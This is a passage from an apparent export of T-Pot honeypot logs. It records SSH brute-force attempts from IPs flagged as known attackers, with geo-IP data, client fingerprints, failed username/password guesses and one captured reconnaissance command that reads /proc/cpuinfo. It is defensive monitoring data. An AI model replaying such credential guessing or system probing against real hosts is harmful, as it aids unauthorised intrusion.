"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 58664, "dest_port": 22, "timestamp": "2021-09-20T11:53:45.885280", "@timestamp": "2021-09-20T11:53:45.885Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32837	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:53:46.978233+03	2021-09-20 15:00:03.985722+03	{"_id": "qQYOA3wBvYTbRNuEFUx7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.login.failed", "message": "login attempt [natasa/natasa] failed", "session": "85de2e099606", "@version": "1", "password": "natasa", "username": "natasa", "timestamp": "2021-09-20T11:53:46.978233Z", "@timestamp": "2021-09-20T11:53:46.978Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32838	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:53:48.239073+03	2021-09-20 15:00:03.986723+03	{"_id": "rAYOA3wBvYTbRNuEHUxL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "85de2e099606", "@version": "1", "duration": 3.3351404666900635, "timestamp": "2021-09-20T11:53:48.239073Z", "@timestamp": "2021-09-20T11:53:48.239Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32839	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:53:44.901193+03	2021-09-20 15:00:03.988722+03	{"_id": "owYOA3wBvYTbRNuEDUyn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.70.175.230:58664 (192.168.176.2:22) [session: 85de2e099606]", "session": "85de2e099606", "@version": "1", "protocol": "ssh", "src_port": 58664, "dest_port": 22, "timestamp": "2021-09-20T11:53:44.901193Z", "@timestamp": "2021-09-20T11:53:44.901Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32840	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:53:44.904788+03	2021-09-20 15:00:03.989722+03	{"_id": "pAYOA3wBvYTbRNuEEEwf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.70.175.230", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58664, "timestamp": "2021-09-20T11:53:44.904788", "@timestamp": "2021-09-20T11:53:44.904Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32841	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:53:45.885866+03	2021-09-20 15:00:03.990723+03	{"_id": "pQYOA3wBvYTbRNuEEUyR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "85de2e099606", "@version": "1", "timestamp": "2021-09-20T11:53:45.885866Z", "@timestamp": "2021-09-20T11:53:45.885Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32842	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:53:45.879648+03	2021-09-20 15:00:03.992724+03	{"_id": "pwYOA3wBvYTbRNuEEkz_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "flow_id": 1939933485395287, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58664, "dest_port": 22, "timestamp": "2021-09-20T11:53:45.879648Z", "@timestamp": "2021-09-20T11:53:45.879Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32843	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:52.570048+03	2021-09-20 15:00:03.993723+03	{"_id": "tAYOA3wBvYTbRNuELEzt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 189.50.42.214:57052 (192.168.176.2:22) [session: 373281d7e10b]", "session": "373281d7e10b", "@version": "1", "protocol": "ssh", "src_port": 57052, "dest_port": 22, "timestamp": "2021-09-20T11:53:52.570048Z", "@timestamp": "2021-09-20T11:53:52.570Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32844	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:54.311979+03	2021-09-20 15:00:03.994722+03	{"_id": "yQYOA3wBvYTbRNuENEy9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "41cec716c947", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:53:54.311979Z", "@timestamp": "2021-09-20T11:53:54.311Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32845	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:53:34.894681+03	2021-09-20 15:00:03.995723+03	{"_id": "lwYNA3wBvYTbRNuE5kyW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.login.failed", "message": "login attempt [alysia/alysia] failed", "session": "ac815d7ebe12", "@version": "1", "password": "alysia", "username": "alysia", "timestamp": "2021-09-20T11:53:34.894681Z", "@timestamp": "2021-09-20T11:53:34.894Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32846	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:53:36.190656+03	2021-09-20 15:00:03.997723+03	{"_id": "mQYNA3wBvYTbRNuE7kxm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ac815d7ebe12", "@version": "1", "duration": 2.854626178741455, "timestamp": "2021-09-20T11:53:36.190656Z", "@timestamp": "2021-09-20T11:53:36.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32847	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:00.532562+03	2021-09-20 15:00:03.998722+03	{"_id": "FgYOA3wBvYTbRNuETE0z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:00.532562Z", "@timestamp": "2021-09-20T11:54:00.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32848	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:01.002136+03	2021-09-20 15:00:03.999723+03	{"_id": "FwYOA3wBvYTbRNuETE0z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "189.50.42.214", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.4702184200286865, "duplicate": true, "timestamp": "2021-09-20T11:54:01.002136Z", "@timestamp": "2021-09-20T11:54:01.002Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32849	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:54:01.510696+03	2021-09-20 15:00:04.001722+03	{"_id": "GAYOA3wBvYTbRNuETk2m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "183.17.231.81", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47676, "timestamp": "2021-09-20T11:54:01.510696", "@timestamp": "2021-09-20T11:54:01.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32850	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:01.506603+03	2021-09-20 15:00:04.002722+03	{"_id": "IwYOA3wBvYTbRNuEUE0c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "f878bb8c6070", "@version": "1", "duration": 1.777534008026123, "timestamp": "2021-09-20T11:54:01.506603Z", "@timestamp": "2021-09-20T11:54:01.506Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32851	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:54:01.805901+03	2021-09-20 15:00:04.004722+03	{"_id": "JAYOA3wBvYTbRNuEUE0c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "4b9ace7639c7", "@version": "1", "timestamp": "2021-09-20T11:54:01.805901Z", "@timestamp": "2021-09-20T11:54:01.805Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32852	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:01.391127+03	2021-09-20 15:00:04.005722+03	{"_id": "IAYOA3wBvYTbRNuEUE0c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:01.391127Z", "@timestamp": "2021-09-20T11:54:01.391Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32853	183.17.231.81	109.199.241.180	Suricata	2021-09-20 14:54:01.805597+03	2021-09-20 15:00:04.006722+03	{"_id": "KwYOA3wBvYTbRNuEUU2I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:54:01.206660+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "183.17.231.81", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2187660757641028, "payload": "AAADzAYUv96eQR3FtnYdqFdkdm3WAwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLD